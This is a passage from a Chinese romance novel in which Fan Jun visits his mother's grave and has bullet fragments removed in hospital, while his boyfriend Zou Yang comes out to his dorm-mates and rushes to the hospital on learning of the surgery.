点开照片的时候邹飏忍不住说了一句:“我操,靠边儿停车。” 樊均把车停在了路边,凑了过来。 摄影师拍的这个角度就是邹飏想要的。 漫天的红色晚霞,湖面尽头的落日,泛着金光的湖水,空旷的公路,有些荒凉的冬景。 一辆车,两个人。 三张照片都是这个角度。 一张是他俩背对着镜头看着湖面,一张是邹飏站在车斗里,樊均站在路边仰头看着他。 还有一张是拉近了焦距,只有他俩的上半身,并排站着,在落日余辉里转头对视。 莫名让有种想流泪的感觉。 “拍得真好啊。”邹飏说,“回去要弄个相框挂起来。” “嗯。”樊均看着屏幕,左手伸过来想把照片再放大了看看。 但很快又缩了回去。 邹飏没说话,把照片放大了。 樊均的左手在抖。 “一会儿发给我。”樊均说。 “嗯,”邹飏点点头,把照片先保存好了,在樊均准备挂档继续出发的时候,他说了一句,“我开。” 樊均手上的动作停了,看了他一眼。 “我开,你帮我看着点儿,累了再换你。”邹飏下了车,绕过车头拉开了驾驶室的门,“下来。” 樊均犹豫了两秒,下了车,坐到了副驾上。 “我昨天晚上跟你说的话不只是一句情话,”邹飏系好安全带,看着前面的路,“那是我想要的东西。” 樊均偏过头看着他。 “我想要那种……”邹飏说,“被人需要,被人黏着……的感觉,懂吗?” “嗯。”樊均应了一声,声音有些低哑。 “如果我感觉不到你需要我,”邹飏说,“我会很孤独。” “……知道了。”樊均低声说。 邹飏没再说话,还是盯着前面的路,过了一会儿才挂了档,把车开了出去。 邹飏开车有一点不太方便的地方,就是他俩没法聊天儿。 他毕竟是个新手,这才是第二次开车,樊均在旁边拆个饼干包装袋,他都感觉注意力被分散了。 车开到高速口的时候,他犹豫着要不要换回樊均,不知道他手现在好些了没。 “大灯打开,”樊均说,“天黑了。” “哦,”邹飏看了一眼,“在哪儿开?” 樊均倾过身体,伸手把大灯打开了:“一会儿中间那个休息站吃饭,吃完换我吧,新手别开夜车。” “行。”邹飏点头。 回到商贸城停车场的时候,已经过了九点了。 何川提前带了一帮人拉着两个平车在停车场等着了,有他几个朋友,还有两个客户,都是在等着新带回来这些货的。 “怎么样,”何川看着邹飏,“这趟好玩吗?” “挺有意思。”邹飏笑笑。 “去乡下收东西更好玩,下回碰上了,你再跟着去玩一次,”何川说,“省得我跑了。” “挺会盘算啊何总。”樊均帮着把货搬到平车上,转头说了一句。 “你这人,”何川笑着,“我给钱。” “他贵。”樊均说。 “行行行,”何川说,“我自己去!” 一帮人拖着货往回走了,樊均和邹飏站在车边没动。 “干嘛不让我去?”邹飏问。 “太辛苦了,”樊均说,“位置都偏,基本只能住村里,也没什么风景,碰上有好玩的地方再带你。” 邹飏啧了一声。 “去店里……坐坐吗?”樊均回头看了一眼已经走远的一帮人。 “算了,人太多了,这连挑货带喝茶吃宵夜的,没个两三点完不了,”邹飏说,“我回家收拾一下。” “嗯。”樊均点点头。 “再过两天我们开学了,李知越他们已经回宿舍了,明天我得去趟学校,他们提前回来了,我一直也没理他们……”邹飏说着又停了停,“听着烦吗?” “不烦,我喜欢听。”樊均说。 “下周考教资,”邹飏打了个呵欠,“这几天估计就都有点儿忙了。” “嗯,”樊均在他脸上轻轻摸了一下,“回去好好休息吧。” “我叫个车,”邹飏低头拿出手机叫车,“到家了我给你发消息,你要是忙就不用回我了。” “不忙。”樊均说。 邹飏抬头看了他一眼,笑了笑。 忙是肯定忙的,货到了拆箱,整理,虽然有一帮人,但这个过程只能是樊均和何川两个人。 何川还是个废物。 樊均的胳膊这两天状态不是特别好,不知道是不是因为太冷了,或者是没休息好,或者……那不太可能,应该就是冻着了…… 拆完箱把东西都分类码好之后,他左手又开始抖,不得不揣到兜里。 几个瓶子和罐子是之前就有人想要,这会儿一帮人蹲边儿上就开始研究。 手机在兜里震了一下。 【邹yang】我还没到家 樊均笑了笑。 【樊】我知道 【邹yang】我刚给我妈打了个电话,她今天在家呢 【樊】那还好回来了 【邹yang】你在干嘛了 【樊】想你 【邹yang】靠,油腻了啊 【樊】那在忙 【邹yang】不想我吗 【樊】一边油腻一边忙 【邹yang】亲一个 【樊】亲哪 这句发出去之后他突然感觉脸上有点儿烧得慌,于是又赶紧点了撤回。 【邹yang】装什么正经人,我看到了 【樊】亲哪 【邹yang】耳朵尖尖 “樊均!”何川在茶桌那边喊了一声。 “哎。”樊均应着,走了过去。 “这个罐子不是有一对儿吗?”何川问,“就拿了一个?” “那个粘过,”樊均拿起罐子翻过来,“底儿整个都碎的。” “操,”何川走到旁边,小声说,“他没说?” “他说跟你提过,”樊均说,“我说你没跟我提过,所以就没要,换了个虾盘,我看那个挺好的。” “还得是我教练靠谱,”何川拍拍他肩膀,“我回头再找他。” 如邹飏所料,这帮人一晚上都在店里,樊均虽然不怎么聊,但人基本都认识,他也只能坐在旁边陪着。 半夜快三点樊均回了屋睡觉,楼下人都没全散,还有俩在跟何川聊着,估计会睡在店里了。 樊均拿出手机看了一眼,有一个日期提醒。 他愣了一会儿,把这个提醒划掉了。 这个日子不用提醒他其实每年也都记得,但今年……还真是忘了。 妈妈的忌日。 妈妈是哪天去世的他并不清楚,只知道很冷,他对日期没有任何记忆,每天都活得很恐惧。 这个日子是丽婶儿告诉他的,让他要记好,以后长大了去看看妈妈。 但他一直没去过。 他早就长大了,但一直没去过。 他甚至没敢问问,妈妈的骨灰葬在哪里。 一直到今天。 虽然他忘了今天是什么日子,但想起来的时候,第一次没有了那种害怕记得这一天的感觉。 每次到了新货,店里的人都会很多,不过今天樊均睡到十点多才被大黑踩醒,何川也没叫他。 樊均收拾好下楼的时候,店里好几个客人,何川正在泡茶。 “怎么没叫我。”他从桌上拿了个绿豆饼吃了。 “记你迟早就行。”何川说。 “下午请半天假,”樊均说,“出去一趟。” “去哪儿?”何川问。 樊均没说话。 何川看了看店里的人:“要不你调休吧,下周别休息了。” “行,”樊均笑了笑,“车借我用用。” “真的不需要我陪你过去吗?”吕叔在电话里问。 “真不用,没事儿,”樊均说,“我就是……这么多年了,想去看看。” “我一会儿把详细的那个号给你,”吕叔说,“在老园区,从东边儿那个门进,你别走错了,错了要绕一大圈儿。” “嗯。”樊均应了一声。 车就停在墓园东门入口,这是樊均之前唯一知道的信息。 吕叔的消息发过来之后他下了车,从后座拿了花,慢慢走进了墓园。 这里环境挺好的,一眼过去,满眼都是绿色的松柏。 樊均在门口的指示图站了一会儿,先找到了妈妈在哪个区,然后顺着路牌往墓园深处走去。 每一个墓碑都有个编号,就像门牌号。 妈妈的门牌号很早,在墓园最早的那一片,得走挺远的。 路上的墓碑从新到旧慢慢变化着,樊均低头边走边看着路边刻着编号的小石碑,最后在东南角最偏的位置停下了。 顺着两排墓碑之间窄小的一条通道走到尽头,就是妈妈的墓碑。 樊均犹豫了十多秒,才慢慢走到了墓碑前。 没有照片。 碑上的字也很简单。 陈小慧之墓。 旁边的小字写着,爱子樊均立。 樊均蹲下,把手里的花放在了墓碑前。 沉默了很长时间,开口的时候声音低得他自己都听不清,带着微微的颤抖。 “妈。” 这个他已经十几年没有出声叫过的称呼,熟悉的温柔中带着刺骨的痛,叫出口的同时,樊均慢慢跪在了墓碑前。 对不起,妈,现在才来看你。 “妈,”樊均抬手在碑上很轻地摸了摸,指尖顺着妈妈的名字划过,“我快要不记得你的样子了。” 他已经快要不记得妈妈的样子了,但墓碑上没有她的照片。 “对不起,我一直不敢来看你……我害怕……” 樊均低下头,眼睛酸得厉害。 眼泪不知道什么时候涌出来的,看到的时候,已经落了一地,浸出一个一个黑色的小圆点。 “妈,”樊均抬头看着碑上的名字,“樊刚死了,他死了……我平安长大了,你可以放心了,我本来应该早点儿来告诉你,但是……” 他偏过头,手在眼睛上按了一会儿,用力吸了口气,坐在了地上。 “我挺好的,”他低声说完,顿了顿,“现在没在吕叔的武馆帮忙了,我换了个工作……还挺清闲的……” 他闭了闭眼睛,又停了很长时间。 “妈,我受伤了,”再次开口时,眼泪再次跟着涌了出来,“我本来不想说,我怕你担心,但是我……又想告诉你……” “我左边耳朵听不到了,有可能恢复,但也可能一直这样了……左手也有伤,不确定能不能恢复到原来的样子……恢复得很慢……”他吸了吸鼻子,突然感觉很委屈,眼泪有些控制不住。 他第一次知道自己还能这么哭。 哭到眼前只剩了一片模糊的光影。 “说点儿高兴的吧,”他摸了摸兜,没找着纸,于是低头在袖子上蹭了蹭眼泪,“我……有喜欢的人了。” “他叫邹飏,是个非常好的……男孩儿……我其实没有什么信心……但是又……” “我非常非常想一辈子都跟他在一起。” “但是不知道行不行,毕竟……一辈子那么长。” “妈,”樊均低声说,“我不知道管不管用,你再保佑一下我好吗,耳朵不用管了,我反正也习惯了……我马上还有个手术,取完剩下那些碎子弹……你保佑我胳膊快点儿好起来,好吗……” 第79章 “所以吧,就是这么个事儿,”刘文瑞坐在床边,看着李知越,“这事儿说大呢,也不是多大,但说小呢,肯定也不小,毕竟找的不是女朋友。” “嗯。”李知越应了一声,看了一眼枕着胳膊躺在床上的邹飏。 “本来吧,要不要说还是犹豫的,可都一个宿舍的,不说也不好瞒,”刘文瑞也看了看邹飏,“所以我俩就商量着,跟你们……” “你等一下,”李知越做了个停止的手势,“你换一个表达,你现在这个措词容易让我误会是你俩好上了。” “我操?”刘文瑞愣了愣。 “所以就想着跟你们说了。”邹飏开口说了一句。 他本来是想自己跟李知越说的,刘文瑞老担心他说话没数,非得替人出柜。 差点儿自己出了。 “知道了,”李知越说,“张传龙是我去通知还是……” “一会儿他买了药回来当场就通知了。”刘文瑞说。 “行。”李知越点点头。 “知越哥哥,”刘文瑞看着他,“你老实说,是不是早就猜到了啊?” “没,”李知越看了邹飏一眼,“就是……感觉邹飏是不是喜欢樊均,樊均我没看出来……” “你瞎了吧。”邹飏说。 “我近视都没有。”李知越说。 邹飏叹了口气,闭上了眼睛。 “好,那就是说,他俩这事儿,你没什么意见是吧?”刘文瑞说。 “怎么,我反对的话他俩就分手吗?”李知越说。 “滚蛋。”刘文瑞一挥手。 “所以这事儿说白了,就是通知,不征求意见,知道吧,我们什么态度都没所谓,”李知越说,“我们就不应该有任何态度,关恁何事。” “哎。”邹飏笑着叹了口气。 张传龙拎着一兜药进了宿舍,往邹飏床上一扔:“吃吧祖宗。” “提款机虽然限额了,但依旧是小金羊,”刘文瑞从袋子里拿出一盒感冒药递给邹飏,“说话注意点儿。” “打球去吗?”张传龙问,“我看体育馆里有人。” “他感冒了。”刘文瑞提醒。 “他边儿上计分啊。”张传龙说。 “绝交。”邹飏把抠出来的药片儿往嘴里一扔,然后开始找水。 “你真行……”李知越赶紧把他的杯子递了过去,“文瑞说正事儿。” “哦,”刘文瑞转头看着张传龙,“龙啊,跟你说个事儿。” “嗯。”张传龙也看着他。 “邹飏,”刘文瑞指了指正仰着头吞药片儿的邹飏,“就是他,和樊均谈恋爱了。” “哦,”张传龙拿了包辣条撕开了,“那他可以啊,我们宿舍第一个脱单的。” 几个人都没说话,一块儿看着他。 低头吃了两口辣条之后,张传龙才突然停下了,手里捏着辣条袋子陷入了沉思,接着猛地转过头:“樊均?谁?” “你买了课一次没上过的谭如谭教练的前同事樊均教练。”李知越说。 “我——操!”张传龙飞快地又吃了一口辣条,走到邹飏床边。 “掉我床上你就死啊。”邹飏指着他手里的袋子。 “这个不掉渣,”张传龙飞快地嚼着,似乎是在用牙帮助脑子转动,好一会儿才又说了一句,“操,那么多女生喜欢你呢,都挑不出个比樊均强的吗?他男的啊!” “哎这是个什么玩意儿跟他说话真费劲。”刘文瑞叹了口气,往后躺到了床上。 “起开。”邹飏踢了他一脚。 “你一个病号!讲究还这么多,”刘文瑞拎着自己衣服一通抖,“出门就穿外套,我这衣服不见天日干净得很!” “你跟樊均谈恋爱啊?”张传龙弯腰又跟邹飏确定了一下。 “嗯。”邹飏有些无奈,本来这事儿拿出来跟李知越说的时候他还有点儿尴尬,现在被张传龙这一折腾,他似乎已经脱敏了,感觉这会儿他都好意思上走廊上喊。 “什么时候开始的啊?”张传龙问。 “早了。”邹飏回答。 “多早?”张传龙追着问。 “怎么了你是后悔没早点儿追我吗?”邹飏说,“死了这份心吧你不是我喜欢的类型。” 张传龙对他的话并不在意,自顾自回忆了一会儿:“靠,难怪住院那会儿你人都是碎的,还非要去看他啊……” 邹飏叹了口气。 “龙啊,”李知越拍了拍张传龙的肩膀,“这事儿虽然没什么大不了的,但也属于是我们宿舍自己的事儿,你懂吧?” “懂,我不往外说。”张传龙说。 “有意见憋着啊。”刘文瑞说。 “我有什么意见,我又不喜欢樊均,”张传龙说着又叹了口气,“我的卡能不能延期啊,会不会作废了啊?” “不会作废,我们的卡都会给延期,你想去的时候跟谭如约时间就行。”邹飏说。 “那以后是不是我们可以打折了,”张传龙看着他,“你跟樊均谈了,那个馆你多少得占点儿什么吧?” “那是吕冠军的馆!”邹飏说,“樊均也就是在那儿打工,而且现在也没在了。” “哦。”张传龙点点头,想想又一挑眉毛,“现在他新换那地儿,听文瑞说挺有意思,什么时候去逛逛?” “考完试吧。”邹飏冲他晃了晃手,“你退下吧,吵得我脑袋疼。” “你睡会儿?”刘文瑞问。 “刚睡醒……我就鼻子有点儿不通气儿,没别的感觉,”邹飏看了一眼窗外的阳光,“出去吃点儿东西?” “你请客吗?”刘文瑞立马站了起来。 “我请,”邹飏也一掀被子下了床,“想吃什么说话。” “贵的都行。”李知越说着就开始穿外套。 张传龙进门就没来得及脱外套,这会儿转身就直接出门了。 “今天不去找樊均?”刘文瑞在邹飏耳边小声问。 “我跟他说了这两天陪你们,还要考试,”邹飏也小声说,“他那儿说是不忙,毕竟也是上班,跟以前在馆里不一样了。” “嗯,以前再怎么说也算是自己家生意,”刘文瑞点了点头,“现在可不敢跟老板打架。” 很冷,身上很疼。 但挨着妈妈身体的那一部分,是暖的。 所以无论多难受,都舍不得动一下。 哪怕一点点,可能会让妈妈消失。 可是妈妈并不在身边。 已经很多很多年都不在身边了。 自己是在做梦。 所以不要动,多难受都不要动。 只要还在梦里,妈妈就还在。 “哎!孩子!醒醒!” 嘘!不要喊。 “孩子,你没事儿吧?怎么在这儿躺着?” 不要出声,求你了。 “醒醒,是哪儿不舒服吗?”有人拉了拉他的胳膊。 樊均睁开眼睛的时候只觉得全身都很疼,头疼,胳膊又酸又疼,后背也很疼。 就像是刚被打了一顿。 而他上方有一张皱着眉的大叔的脸,看着应该是墓园的工作人员。 “我没事儿。”樊均开口的时候听到自己声音沙哑。 “能动吗?”大叔拍了拍他胳膊。 “能。”樊均忍着疼迅速地起身,站了起来。 他还在妈妈的墓碑前,刚才应该是睡着了。 “你怎么在这儿睡觉?”大叔看着他,“在这儿团着好半天了,以为你怎么了呢……” “太困了。”樊均低头整理了一下身上的衣服。 “这是你……”大叔看了一眼碑上的字。 “我妈。”樊均说。 “哦,那……”大叔又看了看他的脸,大概是在估计年纪,然后叹了口气,“这片都十几二十年前了。” “是。”樊均应了一声。 “走吧,好几个小时了,人都冻坏了,”大叔说,“下次再来。” 樊均又看了看墓碑,转身往路那边走过去。 大叔一直跟在他身后,在他往大门方向走的时候,大叔在后头说了一句:“孩子啊,好好的,要不你妈在上面要着急的。” “嗯。”樊均点点头。 回到车上,打开空调暖了一会儿才缓过来。 他拿出手机看了看时间。 他在墓碑前睡了三个多小时,中间邹飏发来的消息他没听到,医生打来的电话他也没听到。 【邹yang】我跟宿舍几个人都说了 【邹yang】他们反应还挺正常 【邹yang】现在去吃东西 【邹yang】我靠这家土豆泥非常好吃,有空带你过来吃 【樊】今天有点忙,一直没听到手机响 樊均先给邹飏回了条消息,又赶紧给医生打了电话过去。 确定了明天先去把住院办了,检查完没什么问题,就可以取弹片了。 他轻轻舒了一口气,取完弹片,也许手就能恢复得快一些了。 邹飏的电话很快打了过来:“我前面说了一堆你看了没啊?” “看了。”樊均笑了笑。 “你都没点儿反应的吗?”邹飏说,“我们宿舍现在全知道了,多劲爆。” “邹飏,”樊均笑着提醒他,“还有什么比你在医院人都没醒……” “闭嘴,”邹飏马上打断了他,想想也笑了起来,“这真是我黑历史了。” “现在宿舍的人在一起吗?”樊均问。 “嗯,”邹飏应着,“一会儿跟隔壁宿舍的打会儿球,晚上一块儿吃饭,明天开学了,一堆事儿。” “你是不是感冒了?”樊均听出邹飏说话带着鼻音。 “有点儿,可能在湖上吹的,”邹飏清了清嗓子,“就鼻子有点儿堵,别的没什么感觉。” “发烧吗?”樊均问。 “不烧,”邹飏说,“我身体还是很好的。” “……嗯。”樊均突然有些联想,身体那的确是很……好的。 “樊均?”邹飏突然啧了一声,“你想什么呢?” “没。”樊均笑了笑。 “不正经的玩意儿。”邹飏说。 “你最正经。”樊均笑着说。 “我比你难道……”邹飏说到一半突然放低了声音,似乎有人在叫他,“不是要正经一些吗?他们叫我了,我出去了啊。” “嗯,去吧,”樊均说,“正经人。” 要手术的事樊均想了想还是没有告诉邹飏,虽然有几片比较深,但比起之前的伤,也算不上什么很大的手术。 邹飏开学了,一堆事儿,还马上要考试……学校离医院这边儿十万八千里的。 樊均只跟吕泽说了一声,刚手术完可能得他帮一下忙。 “胳膊这个你急不来的,”医生站在病床边儿,“这就是个长期的事,那么多不好的都过去了,不差最后这点儿时间。” “嗯。”樊均应着。 “今天和明天主要是做一些检查,”医生说,“要定位和确定包裹情况,然后就安排手术了。” “嗯。”樊均点头。 “手术的时候得有个人陪着,”医生说,“还是你哥来吗?” “嗯,我哥来。”樊均说。 检查之类的是不需要人陪着的,现在行动自如。 结果出来医生看过之后没什么问题,确定了手术就在明天。 樊均站在窗边,看着楼下人来人往,有些感慨,之前在这儿住了那么长时间,他几乎没有在窗边待过。 那时自己的生活一片混乱,没有心情再去看着别人的世界。 两个人出现在他的视野里,顺着住院部大门的路,穿过楼下小花园,往他住院的二号楼快步走了过来。 樊均愣了两秒,猛地贴近窗户,盯着个子高一些的那个,心里先是一阵控制不住的喜悦,紧跟着就是慌乱。 完了。 是邹飏。 旁边跟着的那个是刘文瑞,正凑在他耳朵边儿上连比带划地说着什么。 樊均看着他俩走进楼里,转身站在窗边,看着病房的门。 很慌。 邹飏肯定生气了。 两分钟之后,病房的玻璃窗上晃过了一个人影,接着又晃了回来。 没等他看清是不是邹飏,门就已经被推开了。 邹飏带着风卷了进来,几步跨到了他面前,面对面,几乎怼到了他脸上。 “邹飏,邹飏……”刘文瑞的声音在门外,顺着门缝往里溜,“冷静啊,我外头等你啊……” “我正想……给你打电话。”樊均低声说。 “少放屁,当我三岁呢?”邹飏盯着他,转身把外套脱了,看也没看往后甩到了病床上。 还好他住的是个单人间,后面就一张病床。 “邹飏,”樊均抬手碰了碰他胳膊,“我是想着你这几天刚开学,又要考试,很忙……” “两回事儿!”邹飏甩开他的手,吼了一声,“我忙来不了,和你根本不告诉我是两回事儿!” “邹飏,邹飏,”刘文瑞的声音再次从门缝溜进来,“声音小点儿,外头听到了……” “不是什么很大的手术……”樊均说。 “割痔疮也得告诉我!”邹飏压着声音。 樊均没说话。 “我刚说完的话,你刚答应我的,转头就还是原样!”邹飏贴着他的脸,眉毛拧着,看得出来非常生气以及……难过。 樊均看着邹飏。 “你做不到为什么要答应我?”邹飏推了他一把。 这样的邹飏,他看着非常心疼。 但如果让他重新再来一次,他可能……还是会选择不告诉邹飏。 “樊均!你是全世界最需要我的那个人,这话是谁说的?”邹飏问。 “我说的。”樊均说,“我需要你,我想黏着你,但是……” 邹飏退开了一步,看着他,等着他说下去。 “我并不愿意是因为这些事需要你,”樊均皱了皱眉,“我想你陪着我,去旅行,去吃饭,我想黏着你,一块儿出差,一块儿晒太阳,一块儿遛狗撸猫甚至上班……” “生病的时候,受伤的时候,难道不才是最需要我的时候吗!”邹飏打断他。 “不是。”樊均说。 邹飏看着他,半天没说出话来。 “不全是,”樊均说得有些艰难,他不是邹飏,他不知道该怎么准确表达,他害怕说不清,也害怕邹飏听不明白,“如果今天我是病了,肺炎了,发烧了,车……祸了,我肯定会告诉你,我会想让你陪我挂水,陪我吃饭,陪我窝在屋里。” 邹飏闭了闭眼睛,眉毛还是拧着。 “我现在住院,还是因为樊刚……”樊均说完顿了顿,突然有些委屈,就像他在妈妈墓碑前时一样,突然觉得很委屈,他偏开了头,吸了吸鼻子。 “因为樊刚怎么了!”邹飏提高声音打断他的话,“他都死了!” “对啊!他都死了!”樊均也提高了声音。 邹飏看着他,没说话。 “所以凭什么!你命都差点儿没了,还要陪我面对这些没完没了的事?”樊均声音很低,有些颤,“我只想让这些影响在我们之间,更少一些,更淡一些……” 他往门口看了一眼,刘文瑞背对着门,站得仿佛一个保镖。 “我害怕,”樊均咬咬牙,把最不敢说的一句话说了出来,“我怕这些事会消磨掉你的感情。” 邹飏看着他,突然挑了一下眉毛。 樊均没太明白他这是什么意思,没敢再说下去。 “不会,”邹飏说,“我就是个变态。” “嗯?”樊均愣住了。 “我不在乎原因是什么,”邹飏说,“反正我发现你不敢离开南舟坪的时候,我就觉得你很……迷人。” “什么?”樊均看着他。 “什么什么,”邹飏说,“我就是个变态,听懂了吗?” 樊均没说话。 邹飏走到他面前,抱住了他,声音很低:“那些事儿,不是什么阴影,是我们共同经历的生死啊。” 樊均抱紧他。 “死生契阔,与子成说……”邹飏偏过头看了他,“这句能听懂吧。” “……能。”樊均点点头。 邹飏没再说话。 “那……”樊均犹豫了一下,轻声问,“明天我手术,你来吗?” “几点?”邹飏问。 “大概九点到十点。”樊均说。 “来不了,我上午满课,”邹飏说,“但是中午可以过来。” 樊均顿了顿,笑了起来。 “然后下午可以旷第一节,”邹飏说完松开胳膊,看着他,“怎么样?” “行。”樊均点点头。 第80章 “你这儿有水吗?”邹飏问。 “有,”樊均从柜子里拿了瓶水递给他,“你……怎么知道我明天手术的?” “说来话长……”邹飏拧开盖子,靠到窗边仰头灌了两口,看着楼下,“你刚看到我了吧?” “嗯。”樊均走到他身边,跟他一块儿往下看着。 “我等电梯再上来,那么长时间,”邹飏看了他一眼,“你居然都编不出来一个像样的瞎话?” 樊均笑了笑:“太慌了,也……不想骗你。” “那你跟吕泽在这方面还是有点儿像的,”邹飏说,“不想说就瞒着,被发现了就说实话。” “你问的他吗?”樊均问。 “一开始也没想着问他,我妈问我来着,是不是你要手术了,”邹飏啧了一声,“我说我不知道,她说吕泽跑南舟坪想炖个汤,问他炖汤干嘛,也不说……” “……非得带个汤过来的话,外卖点一个不行吗?”樊均有些无语。 “毕竟太能打。”邹飏说。 樊均顿了顿才反应过来,笑着往邹飏身上靠了靠:“然后你就问他了吗?” “嗯,”邹飏也靠了过来,肩膀跟他顶着,“我发消息问他,不说,我说那我去馆里找他,他就说了。” 樊均没说话,过了一会儿才抬手在邹飏脑袋上抓了抓,低头脑门儿贴在了他还有些冰凉的耳朵尖儿上,低声说:“你头发好香,换洗发水了吗?” “我洗发水用完了,”邹飏说,“早上用的李知越的,这人闷骚得很,洗发水都是香水款。” 樊均笑着没说话。 “你什么时候开始禁食?”邹飏偏了偏头。 “晚上八点过后。”樊均说。 “那一会儿出去吃点儿东西,”邹飏说,“跟刘文瑞一块儿。” “嗯。”樊均点点头,转头想看看门口的刘文瑞,刚扫了一眼,就被邹飏把脸给扳了回来。 “这个取弹片,”邹飏说,“有难度吗?” “就有一片儿深一些有点儿麻烦,别的都还好,”樊均说,“不用担心。” “那就行。”邹飏点点头。 如果邹飏不来,今天他肯定是无聊的,检查都做完了,就等着手术,在病房里呆着也不知道干什么。 邹飏过来,跟他一块儿吃饭,还能回病房陪他待一会儿…… “我就不去病房了,我不像邹飏,还能有借口请假……”刘文瑞说。 “我也就请了一节课的假。”邹飏说。 “什么理由?”樊均问。 “复查。”邹飏说。 “哪块儿的伤还要复查?”樊均拽着他胳膊把他转过来,上下打量着。 “借口,知道什么是借口吗?”邹飏说。 “……哦。”樊均松了口气。 刘文瑞打了个车回学校,他俩顺着路慢慢往医院溜达。 今天风比前几天要小,虽然温度还是很低,但阳光很足,有点儿早春的感觉了。 其实虽说请了一节课的假,吃个饭再遛达回医院,时间也没剩多少了,还得留出路上的时间。 也许是因为刚“旅行”回来,眼下的分别让邹飏有一种强烈的舍不得的感觉。 回到病房的时候邹飏叹了口气:“异地恋啊这算不算。” “异区恋吧,”樊均说,“俩区还是挨着的。” “那它俩面积大啊,一个东头一个西头,要搁前几天那个镇子,这距离都跨出去好几个了!”邹飏说。 “那就算异好几个镇恋吧。”樊均坐到病床边的沙发上。 邹飏笑了起来,走到他面前站着,捏了捏他耳朵。 “坐会儿吗?”樊均仰起头看着他。 “不坐了,”邹飏说,“坐下我肯定不想走了,就站着聊会儿。” “聊什么?”樊均搂住他的腰。 “不知道,”邹飏手指在他眉毛上摸了摸,又顺着鼻梁轻轻划过,“命题聊天儿太难了,就这么愣会儿吧。” “嗯。”樊均应了一声。 两人都没再说话,病房里很安静。 不过外面走廊上声音很杂,不断重复着的呼叫铃,时不时从门口推过的送药车,聊着天儿走过的病人和家属…… 有点儿吵其实。 但感觉很奇妙。 他们就像在繁杂里按下了暂停键,只停留在了这一秒。 一直到门口突然接近的脚步声惊醒了邹飏。 有人进来。 他猛地抬起头,对着樊均肩膀推了一掌,同时顺着劲儿往后退后,坐到了病床上。 刚坐下又怕护士不让坐床,于是赶紧又站了起来。 进来的是个护士,看了他俩一眼,笑着问:“有朋友来呀。” “嗯。”樊均应了一声。 “樊均,你明天有手术,”护士说,“九点到十点,具体哪一台明天早上会通知你……术前注意事项你看了吗?” “看了的。”樊均说。 “嗯,一会儿不要出去了,”护士往外一边走一边说,“医生晚点会过来找你。” “好的。”樊均点头。 “我得回学校了,”邹飏看了一眼手机,“打车过去差不多正好。” “我送你。”樊均想要起身。 邹飏一把按住了他:“待着吧,人刚说了让你别出去了。” “好。”樊均笑笑。 “那我走了啊,”邹飏拿过外套穿上,一边在手机上戳着一边交待他,“明天早上有消息了就告诉我,我下了课过来。” “嗯。”樊均起身,没忍住手伸进他衣服里,在他腰上摸了摸。 “均儿,”邹飏手上打车的动作停下了,看着他,“不要玩火。” 樊均没忍住笑出了声音。 “老实待着,”邹飏啧了一声,“我走了。” “送你到电梯。”樊均说,“电梯那儿能看到医生办公室的门。” “行吧。”邹飏往病房门口走了两步,又突然回过头在他嘴上亲了一口。 樊均迅速地追过去,偏头在他脖子上用力亲了一下。 电梯门关上的同时,想念就开始了。 确切地说,从看到邹飏在楼下出现的时候,想念就已经开始了。 樊均回到病房,站到窗边往下看着。 没多大一会儿和,邹飏从楼里走了出来,低头拉上外套拉链之后突然转身,亲了自己手心一口,仰头一挥手,冲窗口这边儿抛了个飞吻。 樊均笑着赶紧也回了个飞吻,但病房窗户打不开,也不知道邹飏能不能看到。 邹飏转身,走了几步之后,他手机响了一声。 【邹yang】看到了 樊均有些意外地笑了笑。 【樊】怎么知道我在想这个 邹飏回了个语音过来:“因为我刚站窗户那儿就琢磨这个呢,我一会儿走的时候肯定要看窗户,不知道能不能看到你。” 樊均一直看着邹飏的身影消失在大门那边,才回到床上躺下了。 回到学校,待在宿舍这帮人中间,稍微能分散一些注意力,要不邹飏满脑子琢磨的都是樊均。 “那明天这手术做完,”李知越问,“他就没有什么别的手术了吧?” “嗯,”邹飏点点头,“但是康复训练那些应该还得挺长时间。” “他耳朵还能好吗?”张传龙问。 “不知道,”邹飏转了转手机,“好像一直没有恢复。” “操,”张传龙皱了皱眉,“我们一直也没问过你细节,他是怎么……” “一直没问那就一直别问。”刘文瑞马上说。 “没事儿,”邹飏说,“都过去了。” “你昨天晚上还捶床板呢,”刘文瑞说,“心理医生那儿你还去不去的?” “一个月两次去着呢,比之前好多了,”邹飏伸了个懒腰,“我还不能做个噩梦了?” “反正你少打听。”刘文瑞指了指张传龙。 “好的。”张传龙点头。 捶床板这事儿邹飏还真不知道,他现在睡眠还可以,基本已经恢复到以前倒头就睡的程度,晚上肯定是会做梦的,只是大多数都不记得内容。 但明天樊均有手术,虽然樊均说了不是什么很复杂的手术,晚上邹飏还是睡得不实,梦的内容倒是能记得,毕竟惊醒了两次。 两次都是梦到浑身是血的樊均。 他一直以为自己已经忘掉了那天趴在窗台上看到的,躺在五楼平台上的樊均,起码已经可以平静面对了。 但梦里重新看到这一幕时,他发现自己甚至还能清楚地记得樊均T恤上那一大片血迹的形状。 “邹飏?”李知越在对面很低地叫了他一声。 “吵醒你了?”邹飏重新躺好。 “我没睡实。”李知越撑起身看了看他。 “我没事儿。”邹飏闭上眼睛低声说。 “嗯。”李知越又过了一会儿才躺了回去。 邹飏拉了拉被子,不知道在镇上住的那一晚,自己睡着以后有没有做噩梦,有没有梦到什么,会不会吓着樊均了…… 【樊】在等手术通知了,好饿 【樊】还没消息 【樊】9点半手术,一会差不多要过去了,吕泽已经来了 早上醒的时候邹飏第一个动作就摸过手机,看到了十分钟前发过来的消息。 他一边飞快地穿衣服洗漱,一边拿着手机飞快地回着消息。 【邹yang】我起床了,准备去上课 【邹yang】我到的时候你应该刚出来,还没醒 【樊】我手机一会给吕泽了,你中午联系吕泽 【邹yang】嗯 【邹yang】亲一个,我去吃早餐 【樊】亲,耳朵尖尖 “中午用我们陪你过去吗?”刘文瑞低声问。 最后一节课了,老师说话慢吞吞的让人觉得时间都过得很慢。 动机强度与任务效率呈倒U型关系……任务难度…… “不用吧,”邹飏看着手机,不到十点的时候樊均发了消息说准备进手术室了,现在十一点多,还没有消息,“不知道要多久,去了没出来也就杵那儿等着。” 中等动机水平时效率最高…… “那就你跟吕冠军你俩杵那儿……”李知越小声说,“尴尬吗?” 尴尬多少是有点儿尴尬的,都找不着话题可聊。 特别是吕泽还知道他和樊均的关系,并且被迫好几次参与其中。 单独待着的时候就更尴尬。 半个多小时,他俩就说了没到十句话。 “来了啊。” “嗯,怎么样了?” “还没结束。” “哦。” “结束了。” 邹飏看了一眼吕泽,他正站在手术室门口的屏幕前看着上面的手术信息,已经看了五分钟,上面的信息都已经来回滚动三轮了。 樊均的手术已经显示结束,但还在苏醒中。 也不知道要苏醒多久。 